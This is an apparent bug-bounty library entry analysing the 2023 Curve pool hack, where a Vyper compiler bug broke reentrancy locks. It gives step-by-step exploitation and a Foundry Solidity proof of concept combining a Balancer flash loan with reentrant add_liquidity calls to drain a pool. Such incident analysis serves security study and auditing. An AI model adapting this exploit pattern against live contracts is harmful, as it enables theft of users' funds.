# Curve: Vyper broken reentrancy lock drains ETH pools

Vyper 0.2.15/0.2.16/0.3.0 miscompiled the reentrancy lock, letting attackers reenter Curve ETH pools during remove_liquidity and drain ~$41M.

- Payout: Real-world hack
- Severity: critical
- Program: Curve
- Analysis by: DeFiHackLabs
- Disclosed: 2023-07-30
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-07/Curve_exp01.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230730-curve-exp01
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:flash-loan vuln:reentrancy

**Target:** Curve Vyper liquidity pools paired with native ETH (pETH/ETH, msETH/ETH, alETH/ETH, CRV/ETH)
**Root cause:** Vyper versions 0.2.15, 0.2.16 and 0.3.0 compiled a malfunctioning reentrancy guard (introduced in PR #2391, accidentally fixed in #2439/#2514). Pools making raw_call to send native ETH (or ERC-777 tokens with callbacks) could be reentered during remove_liquidity.
**Steps:**
1. Flash loan 80,000 WETH from Balancer and unwrap to ETH.
2. `add_liquidity{value: 40_000 ether}([40_000 ether, 0], 0)` to pETH/ETH pool, receiving ~32,431 LP tokens.
3. `remove_liquidity(LP.balanceOf(this), [0,0])` — this triggers the reentrancy entry point as ETH is sent out.
4. In the ETH receive callback (nonce==0), reenter `add_liquidity{value: 40_000 ether}([40_000 ether, 0], 0)` minting ~82,182 more LP tokens while the pool's lock is broken.
5. Back in the outer call, `remove_liquidity(10_272 ether, [0,0])` burns the inflated LP for ~1,184 pETH + 47,506 ETH.
6. Swap remaining pETH to ETH via `exchange(1, 0, pETH.balanceOf(this), 0)`.
7. Wrap ETH to WETH, repay 80,000 WETH to Balancer, keep ~6,106 WETH profit.
**How found:** Post-mortem analysis: Vyper devs traced the broken reentrancy guard to PR #2391 and its accidental fix in #2439/#2514; attackers exploited pools that raw_call native ETH (or ERC-777 callbacks) where the guard was compiled out.
**Exploitation:** Balancer flash loan of 80k WETH → unwrap → add_liquidity → remove_liquidity triggers ETH send → reenter add_liquidity inside receive() while the broken Vyper lock fails to block it → minted LP far exceeds fair share → second remove_liquidity drains pool → swap pETH→ETH → repay loan, retain ~$11M on pETH/ETH alone; same pattern across msETH, alETH, CRV/ETH pools totaling ~$41M.
**Escalation:** Same broken-lock primitive applied across multiple ETH-paired pools (pETH, msETH, alETH, CRV/ETH) and ERC-777 token pools, scaling loss to ~$41M.
**Insight:** When auditing Vyper/compiler-generated guards, verify the emitted lock actually writes/reads storage around external calls — a compiler regression can silently no-op a reentrancy guard, so test reentrancy on the deployed bytecode, not the source.

## Proof of concept (copied exactly from the original report)

**Foundry PoC flash loan and reentrancy exploit**

```
function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        WETH.withdraw(WETH.balanceOf(address(this)));
        uint256[2] memory amount;
        amount[0] = 40_000 ether;
        amount[1] = 0;
        CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);

        amount[0] = 0;
        CurvePool.remove_liquidity(LP.balanceOf(address(this)), amount); // reentrancy enter point
        nonce++;

        CurvePool.remove_liquidity(10_272 ether, amount);

        WETH.deposit{value: address(this).balance}();

        pETH.approve(address(CurvePool), pETH.balanceOf(address(this)));
        CurvePool.exchange(1, 0, pETH.balanceOf(address(this)), 0);

        WETH.deposit{value: address(this).balance}();

        WETH.transfer(address(Balancer), 80_000 ether);
    }

    receive() external payable {
        if (msg.sender == address(CurvePool) && nonce == 0) {
            uint256[2] memory amount;
            amount[0] = 40_000 ether;
            amount[1] = 0;
            CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);
        }
    }
```

